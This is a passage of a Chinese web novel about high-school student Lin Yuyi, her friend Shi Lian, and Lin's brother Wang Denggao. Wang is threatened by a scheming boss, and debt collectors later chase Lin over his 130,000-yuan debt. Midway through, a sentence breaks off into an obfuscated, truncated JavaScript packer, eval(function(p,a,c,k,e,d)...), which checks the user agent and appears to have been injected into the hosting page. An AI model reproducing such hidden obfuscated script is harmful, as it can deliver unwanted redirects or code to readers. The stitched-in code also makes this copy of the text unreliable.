可王登高哪儿冷静得下来?他稍稍没控制住力度,手臂不经意往后扬了扬,差点没把小刘推倒在地,还是保安慌张扶住了人。 “哈。”温老板被死死拎着衣领,脸上不但没有惧意,反而不明地低声笑一下,咧着嘴与王登高对视,“我们之间的恩怨,你别当着女孩子的面发火嘛,看吧,吓着人家了。” 随即,温老板收敛笑容,指挥保安道:“你带老板娘进厂子休息一下啊,这里我来处理。我关系,不用叫人,我能处理。” “小刘,你回厂里好好休息会儿,我很快回来,你别怕,等我回来我和你解释清楚啊。”温老板压低声音,哄着失魂落魄的小刘。 等人走远了,温老板和王登高对视,眸中再次浮现出恶劣的笑意:“行了行了,王登高,放开吧,你还想闹成什么样?” “我想闹成什么样?”王登高不但没放手,反而把衣领拽得更紧了些,他另一只拳头举起,仿佛下一秒就要砸到温老板脸上,“应该问你才对!” “温大河,你一开始就想要我死对不对?你要我去借钱,要我开鸭场,你从那个时候就算好了!是不是!” 温老板看着王登高即将挥下来的拳头,眼睛眯起,慢悠悠地说:“是,又怎样?哈哈哈哈王登高,你很生气吧,生气又有什么用呢?你还能打死我不成?来啊,你打我一拳试试看,啧啧啧,我知道你是个不要命的,你不怕坐牢,可是你还有个读高中的妹妹吧?” 王登高眼睛骤然瞪大,手背上青筋更加凸出,可是扬在空中的拳头却止住了,颤得厉害。 温老板脸上笑意更盛:“哎呀,我听说,你那妹妹成绩还不错呢,要是被你给毁了前途,那可就太可惜了。王登高,她是不是马上要读高三了?高三啊,突然知道自己唯一的哥哥进监狱,她得是什么反应?她还能读大学吗?” 电光石火间,王登高脑海里闪过这样的一幅画面: 他坐在冰冷的铁窗内,林羽翼抱着课本站在外面,不可置信地看着他,目光几乎快要碎掉。 王登高手指倏地松开,一下子差点没站稳,连嘴唇都在抖,抖得发紫。 “这才对嘛,王登高,你知道分寸就好。”温老板整理衣领,“刚才是我说气话了,好了,现在冷静下来和你说吧,其实吧——你这事儿,还真不能怪我。” “王登高,你好好想想,我要真想弄死你,禽流感的时候就能下死手了,何苦等到现在呢?你要怪只能怪你自己,我早就告诉过你,做生意不能守着眼前,你得多看新闻,多了解实事儿,多学习知识,你听了吗?你没听!但凡你多打听打听,早都能知道垃圾场的事儿。怪我没告诉你?我每天那么忙,还得守着你当妈不成?” “你总是只看眼前,但又好高骛远——王登高,早几年我就发现你这毛病了,嗨呀,我不是没想过帮你,我带着你跑过那么多单生意,你有长进吗?但凡你有一点长进,都不会落得今天这样。你一步步走到今天,可都是你自己的错,你只能怪你自己。” “所以呢……”说着,温老板脸上笑意骤然变得阴恻,“王登高,你可别在小刘面前说什么不该说的话,不然……嗐,还是看看你那读高中的妹妹吧。” 晴朗无云的天空不知何时变得阴沉,厚重的乌云遮挡住阳光的痕迹,狂风呼啸而来,带着山林的声音。 “初夏的第一场暴雨要来咯。”温老板直起身,看向黑沉 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下一秒,豆大的雨珠从云层中砸下来,噼里啪啦,用力砸碎在地板上,窗外的芭蕉叶歪歪扭扭地向下倾斜。 下雨了。 林羽翼还在操场上打球。 师涟看了眼躺在桌边的长柄伞,正要拿起雨伞,教室门被嘭一声推开,一个抱着篮球的男生闯进来,他回来得及时,幸运地没有被雨淋湿,但这会儿再出去肯定也不行了。 男生悻悻地瞟一眼窗外瓢泼大雨,随即环视教室,目光锁定在师涟那里。他看着师涟桌边的伞,挠挠脑袋,厚着脸皮:“涟、涟姐,女神,你妈妈待会儿是不是要来接你?你的伞——能借我吗?” 高二开始,每次大考过后的假期,孙阿姨都会来教室帮师涟收拾书本,这次肯定也会来,下这么大的雨,她肯定会带雨衣。 师涟正是为了等孙阿姨,才没有在考试结束后,去操场陪着林羽翼撒欢。 男生已经走到师涟面前,局促地等待她的回答。已经快高三了,可是他,或者说班上大多数人,依旧和师涟不太熟。 师涟浑身上下从内到位都散发着一股冷冰冰的气息,让人不敢接近,总觉得有股距离感。 不过借伞这种事……应该没问题吧?就算只是普通同学,也不会不帮忙吧?外面那么大的雨呢。 男生紧张地等着。 师涟看看他,片刻后,轻轻摇头:“抱歉,我要出去一趟。” 师涟拿起长柄伞,头也不回快步走出教室。 男生没有料到自己会因为借伞这种小事被拒绝,愣愣站在原地,手指尴尬地抠了抠。 一把折叠伞不知从哪儿递到他手里。 “伞。”身后传来蚊蝇般的声音。 男生这才发现,后一排的位置上还有人,刘明安安静静坐在那儿,给他递了把伞。 一班不止师涟这么一个“不合群”的人,张通蜀、刘明比她更不合群,这两男生在班上几乎没有朋友。不过很奇怪的是,班上男生总是会开张通蜀的玩笑,模仿他的口音说话,甚至嘲弄他,却从来没人笑话过刘明,反而对他照顾有加。 男生们还给刘明取了个“明哥”的昵称,说他是人狠话不多的酷哥。 “谢谢明哥。”男生接过雨伞,目光依旧看着师涟消失的方向,被拒绝的尴尬感还没消退,找补般问,“明哥,这么大的雨,涟姐她要去哪儿啊?她、她不是要等阿姨吗?” “接人。”刘明低声说。 “啊——?”男生终于反应过来,看一眼林羽翼空荡荡的座位,用力点点头,“哦!” …… 雨点接连不断重重砸在伞上,师涟走出教学楼才发现,这突如其来的雨大得可怕,斜风暴雨,用力卷着她的伞往一边倒。就算挡住大颗雨滴,依旧有雨丝被风卷进伞里,打在师涟脸上。 师涟用力握住伞柄,顶住狂风暴雨,艰难地往操场的方向走。 雨幕甚至让她有些看不清前面的路,雨滴砸在地面、伞面的声音盖过其余一切,走过教学楼前的小广场,离操场还有一段距离,师涟却有种自己被困在大雨隔绝的世界中、一个人艰难走了好久好久的错觉。 “师,涟——!” 忽然,一道如鸟鸣般的清脆女声穿透雨幕,像黄鹂鸟欢快歌唱的声音般哒哒哒由远至近,一瞬间便打破大雨的隔绝,抵达她面前。 顶着暴风雨,师涟艰难地把伞往上抬了抬,林羽翼灿烂的笑颜一下子撞入她眼帘。 少女双手举着一层已经被雨水浸透的校服外套,瓢泼雨水如溪流般顺着校服划到她凌乱的发丝上、脸颊边,额前的发丝微卷地贴在脸上,显得有些狼狈。但她的笑容却一点儿没有狼狈,依旧那么明媚灿烂,眸中渗着星星点点的光。 林羽翼哒哒哒踩着水花,带着微凉的雨丝,灵巧地钻到师涟的伞下,瘦削的身躯熟稔地钻到师涟身前,一只手和她一起握住伞柄:“我就知道你会来接我,师涟你最好啦。” 在暴雨中摇摇晃晃的大黑伞一下被撑稳了。 “是啊,我要是不来,你得被淋成落汤鸡。”师涟比林羽翼高一些,她走在后面,下巴轻轻搭在林羽翼肩膀上,沾湿的发丝掠过她脸颊,有点痒,“走吧,回教室先把头发擦干。” 又一次穿过小广场,师涟没有再感觉大雨隔绝了整个世界,她感觉,伞下就像是一个独立的小世界,一个独属于她和林羽翼的,小世界。 回到教学楼里,收起伞的那一瞬,暴雨重重的天空中忽然响起“轰”一声惊雷。 师涟和林羽翼同时抬头望天空看去,只看到一丝电光的尾巴。 师涟拉着林羽翼的手,往教学楼深处躲了几步,林羽翼却始终半抬着头,望着天空打雷的方向,目光怔怔的。 “怎了么?”师涟轻声问。 “不知道为什么,突然感觉有点心慌……很不安……”林羽翼摸着心口,怔怔道,她觉得心脏空洞洞地跳着,不过很快,她用力摇摇头,脸上再度露出笑容,“可能是因为,我这次考试没发挥好吧?唉不管了不管了,高三前最后一次假期,我要好好狂欢!” 32.第18章 林羽翼这次的确考砸了。 说考砸也算不上——依旧是稳上重本的分数,只不过在班级里排三十五名,这是林羽翼高二以来,考得最低的名次。 “林羽翼,你看看你这成绩!”杨老师拿着成绩单,气得龇牙咧嘴,“只剩下最后一年了,你要是保持这成绩,还清北还川大呢!你连隔壁川农都去不了!” 林羽翼被骂得有些委屈,不就是一次考差了吗?连川农都去不了?至于吗? “杨老师,这次就是个意外,我保证。”林羽翼挠挠脑袋,熟练地举手发誓,“考试的时候我粗心了,以后不会了。” 杨老师快被她满不在乎的模样气笑:“你保证?你保证什么!” “高一的时候你保证会努力学习,还说以后和师涟考一个大学,林羽翼,扪心自问,你努力了吗?你努力过吗?” “怎么没努力呢……?”林羽翼小声反驳。该完成的作业和卷子她一项不落,弄不懂的问题第一时间去找老师请教,上课的时候也不再随意发呆,她觉得自己一直有在努力学习。 “你还好意思说!”杨老师吐口唾沫,“你努力?每次考完试第一个跑去操场打球的是你,晚自习溜得最快的也是你,下课的时候跑到铁栏杆边和外面那些职校生聊天吹牛的还是你!别以为我没看到!你连师涟一半的劲头都没!” “这叫劳逸结合嘛……”林羽翼语气倏地心虚,“师涟……我做不到师涟那样,她那叫自律,不叫努力,我学不会自律。” “你还还嘴!”杨老师一个爆栗敲在林羽翼头上,“管你自律还是努力,我只看你的成绩!高三你再敢考到班上二十五名以外,你看我怎么收拾你!” “不会了不会了,杨老师我发誓!真的发誓!”林羽翼吐着舌头,在杨老师发飙前,迅速倒退着跑出办公室。 等林羽翼走了,杨老师一拳轻飘飘砸在桌板上,无奈地摇头叹口气。 “高三了,你们林小鸟还和高一一样浮躁呢。”旁边的物理老师笑呵呵调侃,“让师涟多管着她一些,总能把她带好些。” “好个屁咧。”杨老师差点说脏话,“师涟?师涟也好不到哪儿去!” “诶杨老,你这说的就是气话了,师涟次次考试都稳定在年级第三,妥妥的清北苗子,她还不好呐?” “不好!”杨老师用力摆手,说得斩钉截铁,几秒后,他恼火地揉揉眉头,“以前我也以为师涟那丫头是个努力苦干的好苗子,但现在,教了她两年,我算是看清了——你没听到刚才林羽翼那家伙说的话吗?师涟是自律,压根不是努力!” “有区别吗?”物理老师不解。 “当然有!”杨老师揉着额头,“区别大着呢!” 可真要他说个确切,他一时又说不出来。 物理老师安慰道:“杨老你也别生气,就像你刚刚说的那样,管他自律还是努力,只要成绩不出问题那就行!师涟的成绩一直那么稳定,你还担心个什么?师涟那孩子,就算冲不了清北,川大总归稳稳当当。” “她啊……”杨老师沉闷摇头,“她就是太稳定了,所以才不肯冲。” …… 回到教室座位上,林羽翼立马委屈巴巴地往师涟肩上倒:“啊——” “被杨老骂了?”师涟熟稔地抬手,揉揉少女长发凌乱的脑袋。 “被骂了,骂我不够努力。”林羽翼蔫兮兮道,“我知道这次考差了,可是说我不够努力,也太过分了,我明明就已经很努力——诶诶诶,师涟你不会也觉得我没努力吧?” 师涟唇角抿起一丝轻笑,没有回话。 “师涟你——!”林羽翼差点暴起,下一秒又蔫了下去,趴回自己桌上发呆。 其实她知道,她都知道。 从高一到现在,她的确一直在努力,学习的态度比初中认真了不知道多少。可说她很努力吗?也的确……算不上。 组里的那几个同学,申树和刘明前两年一直和她一个状态,一边玩一边学,可是他们在高二下学期开始,突然就改了性子般沉浸于学习了。 张通蜀更不用说,他这人,两年如一日地埋头苦学。 林羽翼想考个人人羡慕的好成绩,想和师涟考同一所大学,可她的确做不到像张通蜀那样除了学习什么也不管,她没有抛却一切拼命努力的动力。 更何况……张通蜀的成绩压根不如她嘛!好吧,只有这一次,这一次张通蜀考得比她好——班上三十一名。以后绝对不会了。 唉,她已经无数次因为没有足够努力而懊恼了,可是…… 再懊恼也做不到更好了。 林羽翼苦恼的目光落在前面空位上,那是张潇扬的位置,她已经许久没来学校了。 林羽翼和她的最后一次通话,还停留在过年的那个夜晚。 她考过雅思了吗?她在哪儿?已经出国了吗?林羽翼不知道。 如果自己也能像她一样,不用考虑学习,不用努力读书,随随便便就能出国就好了…… “林!小!鸟!” 林羽翼正想着,一声高昂的女声直刺她耳膜,她差点以为自己幻听,猛的一抬头,便对上一双笑盈盈的眼眸。 “林羽翼,你扬姐回来了!”张潇扬一点儿不客套地坐到桌子上,伸手用力捏林羽翼脸颊。 不是幻觉。 消失大半年的张潇扬真的又出现了。 林羽翼感觉到捏在脸颊两边的触感,有点疼,但她却觉得很开心…… 心在雀跃地跳。 “唔……张潇扬你、你轻点儿!”林羽翼回过神来,挣扎好半天,终于挪开张潇扬的手。这一闹腾,她注意到,班上不少同学都看向她们这边。 “扬姐回来啦?” “扬姐雅思考过了吗?” “潇扬你不是要出国了吗?” 其他同学一声又一声的问候响起,林羽翼眼底的雀跃逐渐褪去,语气变得有些紧张:“你……雅思考过了?” “考过啦——累死累活这么大半年,要还考不过,那也太过分了。”张潇扬大咧咧地伸个懒腰。 明明早已知道结果:张潇扬一定会考过雅思,然后出国。可这一天真正来临的那天,林羽翼依旧觉得心里空落落的。 去年夏日,三个少女懒洋洋窝在水吧里的那些下午,好像已经过去了很久。 好像永远也不会回来。 时光本就是如此,流走了,就永远不会倒流。只有记忆会一次次回到过去,徒留空荡的痕迹。 “恭喜恭喜……”林羽翼停顿片刻,脸上再度露出灿烂笑容,“你什么时候出国?到时候我和师涟来送你呗!” 这回,轮到张潇扬沉默一秒。 她的目光从林羽翼脸上转移开,漫不经心般望向窗外,那里茂密的黄葛树叶在风中轻晃,将浅浅的阳光从叶子缝隙里晃进教室。 片刻后,张潇扬轻飘飘地说:“就今天,晚上六点的飞机,我回学校就是来和你们告别的,顺便去杨老那里拿点儿资料。” 林羽翼眼睛错愕地眨了眨。 不等她说话,张潇扬打个哈欠,用含糊的语气掩盖话语间的愧疚: “抱歉啊……我这段时间实在太忙了,先是没日没夜地学习——口语,听力,阅读,折磨死人了!好不容易考过雅思,紧接着又要办签证,准备材料,和英国那边的学校沟通选课,还要应付家里的事儿,实在找不到时间和你联系。” “明白,知道你累。”林羽翼看出她的愧疚,安抚地拍拍她的手背,“只可惜我们不能来送机了,祝你一路平安啊——” 林羽翼的话被张潇扬打断:“不来送我?我们半年没见了诶!林小鸟你还有没有良心!” “大姐,今天周三,我们要上课!晚自习上到十点才放呢!”林羽翼吼回去。 “我懂——苦逼的准高三生嘛。”张潇扬敲敲林羽翼脑袋,“没事儿,我去和杨老说一声。翘半天课能影响啥?他会同意的。” 林羽翼苦闷道:“还真不一定,我这次考差了,刚被他训了一顿呢。” “考差了?”张潇扬挑挑眉。 “是啊,三十五名。”林羽翼叹气,顺手指了指桌上的成绩条。 “数学108分,语文105分,英语123分,理综生物82,化学90,物理83。”张潇扬拿起成绩条认真看了看,破天荒地没有笑她,而是认真说,“这不是挺不错的吗?长项发挥都没问题,只是数学和物理有点低,我没记错的话,这两科一直是你的薄弱项。没关系啦,高三还有一年呢,抓紧时间好好练练,你可以把分提上去的。语文……语文这么难,你这分数不错啦!” 林羽翼张了张嘴,无力地趴到桌上。 “反正——”张潇扬揉一把她的头发,提高声音,“你今天必须去机场送我!我这就去和杨老师说!还有师涟,你去不去?” “去。”师涟的回答很干脆。 “去说吧你,杨老他才不会放我走。”林羽翼摆摆手。 让她没有想到的是,一节课下课后,张潇扬立马冲进教室,豪横地敲敲她的桌子:“走!” “啊?”林羽翼抬眸斜睨她一眼。 “走走走!出发去吃顿饭,然后去机场!”张潇扬骄横地扬起下巴笑,甩一甩手里的假条,“愣着干什么,走啊!” “真的啊?”林羽翼想不明白杨老师怎么就愿意放她出去玩,明明刚才还恶狠狠要她努力学习。 大概是因为……张潇扬在杨老师那里死缠烂打地替她说了不少好话吧?管他的,能出去玩总比闷在教室里好!林羽翼立马从座位上弹起来,牵上师涟的手,迫不及待往教室门口冲:“走走走!” 直到很久以后的某一天,林羽翼忽然回想起这一天,才终于明悟杨老师的用心良苦。 …… 给张潇扬的送行饭吃得并不郑重,甚至有一点点冷清。 张潇扬选的城里的一家粥底火锅,偌大的包厢里,只坐着她和林羽翼、师涟三人,她爸妈都没来。 林羽翼能感觉到,到了餐馆后,张潇扬的兴致便一直不高,无论她怎么打趣活跃气氛,张潇扬都只是漫不经心地“嗯”一声,默默埋头喝着粥。 包厢里的灯光色调很暖,洒在张潇扬身上,是深褐色的。林羽翼第一次看见这么沉闷的张潇扬,她觉得这时的她,就像一只刚刚破壳,却不知道该往哪里飞的可怜雏鸟。 林羽翼能理解张潇扬的情绪。 一个人去异国他乡,父母都不来送送自己,当然会难过。 可林羽翼依旧很羡慕张潇扬,毕竟,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林羽翼抬头往远处看,还没来得及把那些光点看清楚,车子便驶远了,转眼便从万千灯火到灯火阑珊,路边只剩下寂寥的风声。 汽车最后停在广都中学校门口。 这时最后一节晚自习还没下课,学校里很安静,教学楼的灯光敞亮,但楼下一片幽静黑沉。 和张潇扬哥哥告别后,林羽翼和师涟走在寂静的小道上,两人不约而同地沉默着。 林羽翼抬头望着夜空,数着缀在上面的一颗颗星星,脑海里却在回忆今天看见的一切。金碧辉煌的火锅店,稀奇的粥底火锅——招牌上说是从沿海传来的,可师涟说自己在沿海也没见到过,然后是宽敞明亮又科技感十足的机场…… 唉,每次和张潇扬一起出去玩,都像是做梦一样。 林羽翼不自觉地叹了口气。 很巧的是,师涟同时也叹了口气。 她们同时偏头,询问地看向对方。 林羽翼双手懒散地抱着脑袋,舔了舔唇,没说话,继续往前走。 沉默片刻,师涟忽然说:“上周我爸回来了一趟。那天晚上我有点失眠,大半夜起床喝水时,无意听到了爸妈的对话。我爸在外面奔波很累,很危险,我妈在酒店昼夜颠倒着,很伤身体。这两年里,我妈积累了一些经验,所以他们在想着,要不要自己尝试着开一家店,重新做做生意。我爸负责去沿海那边进货,我妈看着店里。” 师涟说话的时候声音很轻,仿佛没有一丝起伏,林羽翼却听出了她上翘的尾音,以及声音里暗藏的轻快笑意。 师涟希望她父母去做生意。 “是好事呀!”林羽翼眉眼弯起,“祝叔叔阿姨生意兴隆,财源广进!” 师涟睫毛颤了颤,语气中的笑意淡去:“但我紧接着听见他们说,暂时还是别做了,免得做不好,拖累我的学习。马上高三了,他们不想影响到我。” 说完,她长长地叹了口气,停住脚步,抬头望着星空。 她很愧疚,可的确无能为力。 林羽翼停在她身边,张嘴想要说安慰的话,可又觉得话到嘴边显得那么无力,她轻轻牵住师涟的手。 “林羽翼,”师涟淡淡笑着摇了摇头,声音微飘,“所以……其实我很羡慕张潇扬。” “我知道,她过得其实没有我们想象得那么开心,她的父母并不恩爱——或许也并不爱她,她很孤独。可是我很羡慕她,羡慕她不会因为金钱而困扰,羡慕她比我们自由——我知道她或许并不是那么想出国,可她至少有离开的自由,我们没有,我爸妈也没有。我很羡慕她。” 平静甚至平淡的语气,却听得人鼻尖酸涩。 林羽翼牵紧了师涟的手,几乎脱口而出,语气急切而坚定:“我们以后也可以的,一定可以,可以像她一样。” 真的……可以吗? 说话时,林羽翼语气那么坚定,可是说完后,她自己都能感觉到那股心虚飘忽的感觉在身体里乱窜。 以后会是什么样?要她具体地去想,她根本想不出来。 寂静夜色下,两个少女紧紧牵着手,无言仰头看着星空。 直到下课铃响。 33.第19章 回到寝室,林羽翼一个人闷闷地坐了好久,终于快到熄灯时,她才想起张潇扬送给自己的礼物还没拆。 精致的牛皮纸袋里装着一个小盒子,一张明信片。 “哒”一声,寝室的灯忽然灭了,十一点熄灯。 林羽翼熟稔地摁开桌上小台灯,借着昏暗灯光,目光落在明信片的字上。 “嚯……” 张潇扬密密麻麻写得还挺多。 从她们在校门口的第一次见面,到肚子痛去医院那天,再到暑假时一起窝在水吧的那些日子。张潇扬竟然都记得。 林羽翼看得有些鼻酸。 又有些想笑。 难怪张潇扬不好意思把礼物给她,硬是拖到了最后时刻,也是难为张大小姐那薄脸皮了。 继续往下看,看到最后,林羽翼的目光忽然顿住,她愣愣地盯着纸上的字,眼眶里一点点积上水雾,视线变得朦胧。 张潇扬写: [海阔凭鱼跃,天高任鸟飞。] [大鹏一日同风起,扶摇直上九万里。] [好吧,我不是什么有文化的人,背不出更多的诗句了!难得肉麻一次,啧,我只是想说……鲲鹏?亦或是苍鹰?总而言之,林羽翼,愿你最终成为那只自由翱翔于天际的鸟儿,就如你的名字那般。] 小小的礼物盒里,装的是一只精巧的飞鸟胸针。 …… 高二的暑假在七月底—— 整个暑假一共十三天,八月初就得返校。 然而就是这十三天的假期,让林羽翼后知后觉地发现,哥哥好像不见了。 不是林羽翼不够敏锐,只是高二下学期的学校生活实在太忙了,忙到她实在没有时间去联系王登高。更何况,王登高来学校见她的次数本就不多。 王登高才是大忙人呢,因为没时间来学校,他甚至在年后跑去给她办了张银行卡。每月的生活费都打她卡里,从二月到七月,没有一次中断,她渐渐习惯了。 就这样过完一整个学期,暑假回到新村的家里,愣愣看着布满灰尘、显然已经许久没人回来过的破旧堂屋,林羽翼才察觉不对劲儿。 “三婶儿!我哥最近回来过没有?”林羽翼第一时间跑到隔壁亲戚家,急冲冲地问。 “没回来呢!”三婶正在洗衣服,头也不抬,“哦对了——小鸟,你哥他人没回来,但他打过电话给我们,说是去沿海那边打工,让你别担心。他没告诉你吗?哦,你高三了,他怕影响你学习吧。” “去沿海?打工?”林羽翼惊讶地眨眼,王登高在鸭场干得好好的,怎么突然去沿海啦? “三婶,我能借个电话吗?” “去打呗。” 林羽翼迈着大步跑上三婶儿家二楼,呼口气,迅速拨通王登高的电话号码,几秒后,听筒里传来嘟嘟嘟的忙音,紧接着是“您拨打的电话已停机”的通知。 怎么电话也打不通?林羽翼眉头一下皱紧,按理说,打工能有什么事儿啊?可她心里慌得怦怦跳,总觉得不对劲儿。 林羽翼语气急躁:“婶儿,我哥他电话停机了!他啥时候给你们打的电话呀?是以前的号码吗?” “上个月吧。”三婶思考片刻,“电话号码……好像是变了,你翻翻看旁边的电话本呢。” 林羽翼唰唰唰翻到写着王登高的那一页,果然,上面变了个号码,她皱着眉,再次按键。这回,依旧是停机的通知音。 “婶儿,还是打不通啊。” “山娃这孩子,该不会是在外面玩野了吧?”三婶小声玩笑一句,随即安抚道,“小鸟你别担心啊,你哥他懂事儿,做事儿有分寸,他去外地打工也是为了给你挣学费不是吗?肯定是他太忙了,换了电话还来不及通知你,等几天他空下来,肯定会和你说的。” “可是再等几天我又开学了……”林羽翼委屈道。 “嗐,你们高三生真是辛苦。没事儿啊小鸟,婶子替你守着电话,只要你哥打回来,我第一时间通知你。” “行。”林羽翼按下心中的焦虑,三婶儿说得对,她哥这么大人了,总不能把自己给弄丢,估摸着正忙得不可开交呢。 林羽翼放下听筒,努力压下心底那股子说不清道不明的焦躁,暗暗想着,过几天,再过几天,哥哥肯定会联系自己的。 八月一日,林羽翼特意起了个大早,一清早就赶车进广都城里,去银行柜台查余额!看见哥哥给她的生活费按时到了账,她终于彻底放下心来。 哥哥还在给她打钱,至少说明人没事儿,可能真的是太忙了。 哥哥有了音讯,与此同时,银行卡里的余额也让林羽翼觉得美滋滋的。 她花钱花的少,一日三餐都在学校食堂解决,最多偶尔额外买一顿宵夜——一块钱的蛋炒饭,或是和师涟、刘明一块儿在校门口吃顿三块钱狼牙土豆。平均下来,她一天花销不到十五元。 哥哥一个月给她六百元生活费,再加上平均一百元一月的贫困生补助,一百二十元的考试奖学金,她每月能存接近四百元呢。 从办银行卡到现在,短短半年时间,她已经有整整三千元存款。 再存一年,大学学费她都能自己存下来!她能不骄傲吗? 查过余额,林羽翼在街对面的面馆吃碗面,一个人百无聊赖地在街上晃一会儿,晃到了师涟家门口,她敲了下门,没人回应,看样子应该是回村里过暑假了。 一个人也没啥好玩的,林羽翼戴上耳机,优哉游哉听着iPod里的英文歌,晃晃悠悠走到公交站,赶车回乡下。 耳机里的音乐声开得并不大,但足以覆盖街边的嘈杂,林羽翼听着歌,脚尖轻快地在地上打着节拍。iPod里的歌曲都是张潇扬帮她下载好的,她自己其实并不了解里面都有什么歌,她对歌曲不感兴趣,也不懂那些什么歌手明星,但她喜欢戴着耳机随着歌曲声打着节拍,沉浸在一方小世界里的感觉。 林羽翼并没有注意到,在她身后的小巷拐角处,几个贼眉鼠眼的男人目光落在她身上,一边说些什么,手指一边比划着。 公交车到了。 夏日午后,从广都城到乡下的人不多,林羽翼成功坐到靠窗的位置。她喜欢盯着窗外不断后退的景色发呆。 “你们几个!买票!” 售票员尖锐的声音穿透耳机,林羽翼余光瞟去,看见售票员拦在几个穿花衬衫的男人身前,那几人脸色鬼祟,赔笑着给了票钱。 林羽翼没有多在意,打个哈欠,轻快地听着歌。 公交车缓缓驶出城镇,驶如一望无际的田野。炙热的阳光洒在没有遮掩的大地上,透过玻璃窗,烤得林羽翼昏昏欲睡。 直到下车,走上林荫遍布的田间小道,林羽翼脑子才清醒一些。 乡下本来就人烟稀少,这个时间点,田间更是一个人影儿都没有,因此,没走几步,林羽翼就发现了身后那几个可疑的身影。 是上车时被售票员拦下的那几个男人。 他们也住新村吗?以前怎么没见到过他们?余光看见那几人吊儿郎当的混混样,林羽翼心里蓦的紧张起来,一下加快步伐。 为了躲阴凉,她走的是没人的田间小路,前面要走十来分钟才能到村子里,一人宽的小路,退回去也来不及了。 林羽翼一加快步伐,后面三人就跟受了刺激似的,忽然向前大步追去。 林羽翼眼睛倏地瞪紧,身形矫健如猎豹一般条件反射地起步蹿进田埂,她从小在田里野惯了,那些杂草枝丫压根拦不住她的脚,十来秒时间,她便蹿到田野尽头的小山坡上,和身后的男人拉开一段距离。 她回头看一眼,那三人一人跌跌撞撞地在细碎田埂上跑,想要来追她,另外两人则是被田间杂草缠住了脚,差点摔个狗吃屎,三人都不像是常来乡下的样子。 “林羽翼!你是不是林羽翼!” 林羽翼正要趁机溜走,却听见身后一声大喊。烈日当头,田埂上那人实在累得追不动,弯腰扶着膝盖大口喘气,用力大喊:“你是不是王登高的妹妹!” 听到哥哥的名字,林羽翼步伐倏地顿住,下意识回头。 她看见,那小混混模样的男人弯腰站在烈日下,脸颊两侧汗如雨下,声嘶力竭地大喊:“你是王登高的亲妹妹吧!你知不知道,你哥欠了我们钱!” “欠债还钱天经地义!” “你说什么?”林羽翼愣愣的,第一反应是不相信男人的话,可依旧没忍住问出口,“我哥……欠你们钱?” “你不知道——?整整十万元!加上利息,十三万!”男人恶狠狠呸一口,“原本两个月前就该还钱了,可他人不知道跑哪儿去了!” 十三万!这个数字如五雷轰顶般砸在林羽翼脑门儿上,她心里清楚,哥哥给她生活费给得大方,其实他自己压根存不下多少钱——最多也就三五万元存款,怎么就突然欠了十三万? 怎么可能! 他在鸭场的工作不挺好的吗?用他自己的话来说,又轻松,又没有压力,哪儿有机会欠那么多钱? 他、他该不会去赌了吧?林羽翼想起学校里播放的戒赌宣传片,但她立马把这个念头驱逐出脑海,不可能,哥哥不是那样的人! 林羽翼不愿意相信哥哥欠了钱,可是她看得出来,眼前这个男人声嘶力竭怒吼的样子不假。这段时间,哥哥消失得的确蹊跷,她已经好久没联系上哥哥。 林羽翼垂在身侧的拳头握紧,身体不住地颤。 “我们找不到他,就只能来找你!你说是不是,小妹妹。”男人拍拍身上的尘土,喘口气,“我们知道你是学生,拿不出什么钱,你只要告诉我们你哥在哪儿就行了。” “我、我不知道他在哪儿……他很久没回家了,电话也联系不上!”林羽翼嘶哑吼道。 “小妹妹别说谎啊,我知道你们没爹没妈,只有兄妹两个相依为命,你说他突然消失不联系你了,咋可能?”男人痞气地笑。 “没骗你!我真不知道!我、我哥他怎么会欠钱,你们是不是弄错了?”林羽翼大脑一片空白,本能地问。 “弄错?白纸黑字的借条写着呢,还摁了指印,小妹妹,你自己来看看就知道了!”男人笑眯眯勾勾手。 林羽翼低头往下看,忽的注意到,另外两个男人已经跨过田埂,即将到她站的小山坡下!两个男人累得不轻,额头上冒着大颗汗珠,眼白露出血丝,犹如狰狞的鬼魂。 林羽翼一个哆嗦,来不及思考,转过身撒腿就跑,头也不回地消息在山野里。 耳边传来风的呼啸声,夹杂着身后男人愤怒的吼声,林羽翼这回没有再停下脚步,没有再回头,太阳光晃得她睁不开眼,但她还是拼了命地往前跑,iPod耳机线不知道什么时候被扯掉,挂在她身上一甩一甩。 林羽翼惊惶地跑啊跑,直到跑进村子,一股脑撞进隔壁三婶儿家的院子。 “小鸟,咋了你这是?跑得满头大汗的——”三婶儿还没来得及起身接她,林羽翼就跌跌撞撞跑上二楼,跑向电话的方向,“三婶儿,我、我借一下电话。” 她拿起话筒,嘟嘟嘟嘟迅速摁下一串熟悉的数字,一秒后,对面传来“您拨打的电话已停机”的提示音。她不甘心,又拨了一遍,依旧没有变化。 林羽翼猛地跪下身,从旁边柜子翻找出电话本,又一次拨通哥哥上次打来三婶家的号码,可依旧打不通。 “小鸟,林小鸟——!林羽翼!娃儿,你怎么了?” 林羽翼怔怔跪坐在电话前,手指捏紧了话筒,听到声音,她才恍惚地回过神来,发现三叔三婶儿不知什么时候都在面前担忧地看着她。 “我……”林羽翼张了张嘴,想哭的感觉一下子从嗓子眼儿涌上来。 “小鸟,有什么事儿你说呀,三婶儿在这儿呢。”三婶怜爱地拍拍她肩膀,把她揽在怀里,“是不是你哥?你哥咋的了?” 林羽翼放下电话,重重地呼吸好几次,没能压住鼻音:“我、我刚刚在路上遇到几个男人,他们说、说我哥欠了钱,欠了十三万元,他们找不到人,只能来找我。” “哎呀?”三婶愣住,“山娃他欠钱了?不会吧?他明明是个懂事的呀!” “小鸟,到底咋回事呀?你说那些人在追你,他们没追上你吧?你没事儿吧?” “没事儿,我把他们甩掉了……”林羽翼抹着眼睛,把今天发生的事儿详细说了一遍。三婶听着,时不时抬头和三叔对一对眼神。 林羽翼说完,喃喃一般道:“我不信,我哥怎么会欠钱呢?” “这事儿来得挺蹊跷,不过你哥是生意人,做生意嘛,资金周转不过来是常事儿,小鸟你别放心上,反正你哥会解决的——” 三婶说着,注意到林羽翼诧异的目光,她恍然一拍手:“唉我忘了!小鸟,你还不知道吧?你哥去年就不打工了,自己开鸭场做生意去了!威风着呢!他还瞒着我们呢,一直到过年瞒不下去,喝了酒,才和我们说。不过他让我们先别给你说,免得影响你高考,我们一想也是呢,便藏着没说。” 